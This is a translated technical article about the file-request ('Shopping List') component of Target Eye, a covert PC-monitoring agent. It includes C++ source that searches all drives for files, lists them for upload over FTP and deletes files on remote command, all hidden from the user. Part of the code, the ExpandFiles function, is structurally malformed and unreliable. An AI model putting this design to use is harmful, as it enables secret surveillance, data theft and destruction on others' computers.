目标Eye揭秘:第三部分 - 购物清单机制






4.92/5 (41投票s)
购物清单机制如何在目标Eye项目中被使用
引言
本文是关于 Target Eye 监控系统系列文章的第三篇,该系统于 2000 年开始开发,一直持续到 2010 年。第一篇文章是关于 Target Eye 的自动更新机制,以及它如何能够在没有最终用户干预的情况下检查更新、下载更新(如果有)、安装更新并运行新版本以替代当前运行的旧版本。 第二篇文章是关于 Target Eye 的屏幕捕获机制,以及如何创建兼具合理图像质量和较小文件大小的紧凑型 JPG 文件。本文是关于购物清单机制的。第四篇文章是关于键盘捕获的。第五篇文章是关于 掩护故事机制的,第六篇文章是关于 Target Eye 方式隐藏文件的。
背景
Target Eye 监控系统是我 12 年前开发的,它可能是第一个用于捕获远程计算机活动的监控工具。以下描述摘自该项目的原始商业计划书
Target Eye 是一家初创公司,其使命是开发基于公司正在申请专利的技术(60/204,084 和 60/203,832)的集成软件解决方案,用于实时监控远程 PC。我们的主要产品 Target Eye 监控系统是一款软件产品,可以持续跟踪、记录、回放、分析和报告一台或多台远程 PC 上执行的任何活动,且用户无法察觉。该软件依靠快速捕获、压缩的全屏图像流和连续的击键捕获来提供用户活动的全面准确记录,包括不产生任何网络流量的本地活动。通过这种方式,该软件可以跟踪和记录依赖网络流量分析的系统无法检测到的活动。运行在受监控 PC 上的智能代理模块使用规则库向监控位置发送警报或执行预定义的本地操作。监控可以从多个位置执行。主要市场是执法部门。
购物清单机制™
Target Eye 监控系统™ 具有一种独特的机制,用于从受监控的计算机双向请求文件。使用购物清单机制,操作员可以定义需要使用哪些标准的请求,然后动态修改这些请求。
什么是购物清单
购物清单实际上是一个文件,由操作员和秘密代理手动管理。
操作员定义查询,然后操作和编辑它们及其结果,而秘密代理执行它们并标记已发送的请求文件。
购物清单由秘密代理不断更新,因此可以用于获取操作活动的最新视图。
购物清单命名结构
为此,购物清单文件放在服务器上,并可以通过其独特的命名结构进行识别。
<OperationID><AgentID><ShoppingList Alias>
例如
如果 OperationID
是 “SECRET00
”,AgentID
是 “IBM000000001
”,并且购物清单别名是“files.txt”,您将得到
SECRET00IBM000000001-files.txt
购物清单查询结构
购物清单中可以包含不同类型的条目。
单个请求
当操作员需要特定文件并知道其确切位置时,使用单个请求。
例如
要请求位于 C:\ 的文件 'autoexec.bat',请求将是
[ ] c:\autoexec.bat
并且在成功执行此请求后,条目将是
[X] c:\autoexec.bat
或者,如果失败(例如:如果没有此类文件),条目将是
[!] c:\autoexec.bat
简单查询
当操作员需要某种类型的所有文件,无论是否指定名称时,使用简单查询。此类查询将始终以 [Q]
开头,并使用 SQL 语法定义条件。
例如
要请求监控计算机中任何位置包含单词 'spy
' 的所有 DOC 文件,条目将是
[Q] *spy*.doc
因此,秘密代理可能会找到以下文件,并且操作员将看到添加以下条目
[ ] c:\docs\About Spyware.doc
[ ] d:\backup\A letter to james spyropolos.doc
等等。
文件上的其他操作
通过查询指定或找到的文件不仅可以复制,还可以删除。
删除文件
当操作员希望删除一个或多个文件,无论是否指定名称时,使用简单删除查询。此类查询将始终以 [D]
开头,并使用购物清单语法定义条件。
例如
要请求监控计算机中任何位置包含单词 'spy
' 的所有 DOC 文件,条目将是
[D] *spy*.doc
这将删除所有名称中包含 string
"spy
" 的 Word 文档。
购物清单机制 - 购物清单查询
此处输入初始查询列表。您可以连续输入多个查询。
购物清单机制 - 在服务器上加密购物清单
选中此复选框时,购物清单文件将在服务器上加密。未选中时,可以使用资源管理器动态修改和编辑此文件,同时从秘密代理获得更快的结果。例如:添加新查询。当文件被加密时,需要 Target Eye 解密工具才能进行任何更改。
购物清单机制 - 忽略大于以下的文件
选中此复选框时,下面指示的 MB 数量是发送到服务器的文件的上限。大于该大小的文件将被忽略。
购物清单相关设置
Target Eye 有一个编译器,在应用程序开发过程中用于根据预定义和动态更改的设置自定义“秘密代理”部分。
在早期版本中,编译器看起来像这样
与购物清单相关的部分看起来像这样
此部分得到了增强,2007 版本
看起来像这样
执行快速文件搜索
在开发 Target Eye 时,我尝试了许多在计算机中执行大规模搜索的方法。目的是找到一种在几秒钟内搜索数千个文件的方法,扫描所有驱动器盘符,并构建结果列表。
Louka Dlagnekov 的 FindFile 类似乎是一个出色的解决方案。它运行速度非常快且可靠。我对其进行了增强,以根据上次文件访问数据过滤搜索查询(例如,搜索过去 30 天的所有 .doc 文件,使用以下查询完成
[Q] -d30 *.doc
除非另有说明,并且由于 Target Eye 收集信息的性质,查询在搜索受监控 PC 中的所有驱动器盘符和所有文件夹时执行。
一些源代码
解释购物清单机制的最佳方法是从下到上。因此,当我们实际执行搜索时,它看起来像这样
FindFileOptions_t opts; /
opts.excludeDir = "*emulation*";
opts.excludeFile = "";
opts.recursive = true;
opts.returnFolders = false;
opts.terminateValue = NULL;
opts.days=q->Days;
FindFile find(opts);
FindFileOption
结构保存请求搜索的详细信息
ExcludeDir
- 何时不搜索ExcludeFile
- 不搜索什么Recursive
- 指示当我们遇到文件夹时是否执行递归搜索。默认为TRUE
ReturnFolders
- 指示搜索结果中是否也包含文件夹。默认为FALSE
。TerminateValue
- 如果找到此值,则终止搜索Days
- 找到的文件上次访问的天数。
现在我们调用 find.search
。有 2 种可能的调用,基于顶层设置(也将进行解释)
- 在特定位置搜索
- 搜索所有位置
如果在特定位置搜索,调用将看起来像这样
find.search(TRUE,WhatToSearch,WhereToSearch);
如果搜索所有位置,调用将看起来像这样
char drive[3];
strcpy(drive,"c:\\");
for (char dl='c';dl<='z';dl++)
{
drive[0]=dl;
find.search((dl=='c'),WhatToSearch,drive);
}
通过这种方式,我们扫描所有驱动器盘符。此时,我们收集结果
int nfiles = (int) find.filelist.size();
__int64 size = find.listsize;
for(i=0;i<(int) find.filelist.size();i++)
{
string fullname = FindFile::combinePath
(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
}
fullname
现在将保存查询的结果nfiles
包含找到的文件数量size
包含找到的文件总大小。这对于监控应用程序很重要,因为我们需要知道需要向操作员发送多少数据。
管理购物清单
现在我们可以上升一层,检查购物清单的管理方式。
在此之前,这里有一些 Target Eye 使用的术语
- Target Eye 秘密代理 - 在受监控计算机上运行的产品秘密部分
- Target Eye 操作员 - 操作秘密代理的机构(例如:执法机构)
- 一项任务 - 执行操作的请求。有许多可能的操作(例如,捕获屏幕,如我的另一篇文章中所述)。由于本文的范围是购物清单机制,因此与购物清单相关的任务可以是复制或删除文件。
- Target Eye Compiler - Target Eye Operator 用于自定义 Secret Agent 以执行特定任务的工具。
以下代码摘自 Target Eye 的 2004 版本。此函数仅在尚未创建购物清单时调用。第一次创建后,从那时起,它将由于 2 种可能的触发器而更新
- Target Eye 秘密代理完成(或失败)任务(客户端)
- Target Eye 操作员添加或删除任务(服务器)
首先要做的是构建初始查询。此查询根据 Target Eye 编译器中定义的设置构建。初始查询可以是多个查询的组合。例如:查询 "*.doc;*.xls" 封装了两个查询;"*.doc" (所有以 ".doc" 结尾的文件)和 "*.xls"(所有以 ".xls" 结尾的文件)。
购物清单同步
在介绍源代码之前,我想解释一下购物清单同步背后的想法。由于购物清单可以由客户端(Target Eye 秘密代理)和服务器(Target Eye 操作员)更新,因此有一个同步更改的过程,这样秘密代理就会收到操作员所做的任何更改的通知(例如:如果操作员删除复制某个文件的任务,则不会复制该文件),并且操作员会收到客户端所做的任何更改的通知,即了解完成秘密代理给定任务列表的进度。大多数与购物清单相关的例程都包含一个更新(或创建)本地购物清单的部分,以及一个同步购物清单以使更改应用于服务器版本的部分。
TE_BuildInitQuery()
此例程在尚未有本地购物清单时调用,它应该根据操作员定义的设置进行构建。
void TE_BuildInitQuery()
{
int n;
CString SearchQuery=Options.Query; // initial query is based on the settings
InitSearch.RemoveAll(); // dynamic array is emptied
n=SearchQuery.Find(";"); // queries are extracted from the query line
while(n>0)
{
InitSearch.Add("[Q] "+SearchQuery.Left(n));
if(SearchQuery.GetLength()<n+1)
break;
else
SearchQuery=SearchQuery.Mid(n+1);
n=SearchQuery.Find(";");
}
if(SearchQuery.GetLength()>3)
{
InitSearch.Add("[Q] "+SearchQuery);
}
}
CreateDefShoppingList()
调用 TE_BuildInitQuery
的函数是 CreateDefShoppingList(),它将分离的查询保存到本地购物清单中。然后将本地购物清单与服务器同步。
void CreateDefShoppingList()
{
FILE *fp;
TE_BuildInitQuery();
fp=fopen(LOCAL_FILELIST,"w"); // create local Shopping List
if (fp)
{
for(int i=0;i<InitSearch.GetSize();i++)
{
CString temp=TE_Encode(InitSearch[i]);
fprintf(fp,"%s\n",temp); // adds a query
}
fclose(fp);
}
TE_Send(TE_FILELIST,TRUE,FALSE); // sends to server
TargetEyeFiles.AddFile(TE_FILELIST,1003,SEND_FILELIST); // maintain a list of files
}
展开查询
解释中最后一个缺失的环节是将查询展开为结果的过程,同时结果替换购物清单中的查询。
void ExpandFiles()
{
CString Line;
BOOL EmptyFile=TRUE;
int DoTry=FTPRETRIES;
char s[255];
char OrigFileName[160];
// ExpandFiles() opens the ShoppingList file from server
strcpy(OrigFileName,LOCAL_FILELIST);
CInternetFile *pFile;
TryAgain:;
try
{
pFile = FtpConn->OpenFile(FTP_FILELIST); // open the file
}
catch (CInternetException* pEx)
{
// handle errors
pEx->Delete();
pFile=NULL;
if(DoTry-- > 0)
{
goto TryAgain;
}
if(!pFile)
{
if(DoTry-- > 0)
{
goto TryAgain;
} return;
}
// read each line
FILE *fp=fopen(OrigFileName,"w");
while(-1)
{
DoTry=FTPRETRIES;
TryAgain2:;
try
{
if (!pFile || !(pFile->ReadString(Line)))
{
break;
}
}
catch (CInternetException* pEx)
{
if(DoTry-- > 0)
{
goto TryAgain2;
}
return;
}
Line=TE_Decode(Line);
if (Line.GetLength()==0)
{
break;
}
// start processing a line
EmptyFile=FALSE;
if(Line.Left(3)=="[D]") // a request to delete a file
{
char FileToDelete[255];
int result;
strcpy(FileToDelete,Line.Mid(4));
result=DeleteFile(FileToDelete);
if(result) // deletion was successful
sprintf(s,"[X] /DEL %s",Line.Mid(4));
else // deletion has failed
sprintf(s,"[!] /DEL %s",Line.Mid(4));
fprintf(fp,"%s\n",TE_Encode(s));
}
else
if(Line.Left(3)=="[Q]") // a request to search for files based on a query
{
CStringArray result;
TE_OpenQuery(Line,&result); // run this query using the file search
// routines explained before
if(result.GetUpperBound()>0) // get the results
{
for (int i=0;i<result.GetUpperBound();i=i+2)// per each result.
// Results come in two lines
{
// add results to a local Shopping List file
sprintf(s,"%s",result[i]);
fprintf(fp,"%s\n",TE_Encode(s));
sprintf(s,"%s",result[i+1]);
fprintf(fp,"%s\n",TE_Encode(s));
}
}
else
{
// failed to run query
sprintf(s,"[!] %s",Line.Mid(5));
fprintf(fp,"%s\n",TE_Encode(s));
}
}
else
{
// handle any other type of line
fprintf(fp,"%s\n",TE_Encode(Line));
}
}
fclose(fp);
pFile->Close();
}
在此阶段,本地购物清单与服务器同步。
TE_OpenQuery
TE_OpenQuery
是另一个用于实际调用文件搜索类的构建块。查询的结果以两行添加到购物清单中
- 找到的文件 标记为待复制的文件。例如:"
[ ] result.doc
" - 附加信息,例如日期、大小等。
BOOL TE_OpenQuery(CString Line,CStringArray *result)
{
char Q1[80];
long Days=-1;
CString QQ,Where="";
// first we handle the "-s" switch which instructs searching in a specific place,
// as opposed to scanning all driver letters and all folders under it
if(Line.Mid(4,2)=="-s")
{
if(Line.Mid(6,1)=='\'')
{
QQ=Line.Mid(7);
int c=QQ.Find('\'');
if (c>0)
{
Where=QQ.Left(c);
QQ=QQ.Mid(c+2);
}
}
else
{
QQ=Line.Mid(6);
int c=QQ.Find(' ');
if (c>0)
{
Where=QQ.Left(c);
QQ=QQ.Mid(c+1);
}
}
Line=Line.Left(4)+QQ;
}
// Then we handle the '-d' switch which is used to filter
// the files found to the ones with N days old
// (for example: -d40 means 40 days old)
if(Line.Mid(4,2)=="-d")
{
//opts.days=atol(Line.Mid(8,2))
QQ=Line.Mid(6);
int c=QQ.Find(' ');
if (c>0)
{
Days=atol(QQ.Left(c));
QQ=QQ.Mid(c+1);
}
strcpy(Q1,QQ);
}
else
strcpy(Q1,Line.Mid(4));
// Call the FindFile class
FindFileOptions_t opts;
opts.excludeDir = "";
opts.days=Days;
opts.recursive = true;
opts.returnFolders = false;
opts.terminateValue = NULL;
opts.excludeFile = "*.exe";
FindFile find(opts);
if(Where!="")
{
if(Where.Right(1)!='\\') Where+='\\';
find.search(TRUE,Q1,Where.GetBuffer(1),Days);
}
else
{
// Scan all drive letters
for(int i='c';i<'z';i++)
{
char dr[5]="c:\\";
dr[0]=i;
find.search((i=='c'),Q1,dr,Days);
}
}
int nfiles = (int) find.filelist.size();
__int64 size = find.listsize;
// number of files found are stored in : nfiles
// size of files found is stored in : size
// Local Shopping List is kept in LOCAL_FILELIST);
if(find.filelist.size())
{
for(int i=0;i<(int)find.filelist.size();i++)
{
char s[1024];
string fullname = FindFile::combinePath
(find.filelist[i].path, find.filelist[i].fileinfo.cFileName);
sprintf(s,"[ ] %s",fullname.c_str());
result->Add(TE_Encode(s));
sprintf(s,"'Date: %s Length = %ld",find.filelist[i].date.c_str(),
find.filelist[i].filesize / 1024);
result->Add(TE_Encode(s));
}
return(TRUE);
}
else
return(FALSE);
}
TE_Encode
和 TE_Decode
是用于处理加密的宏。
本文没有涵盖购物清单机制的许多其他选项,主要是为了保持文章的可读性。
历史
- 2014 年 6 月 12 日:初始版本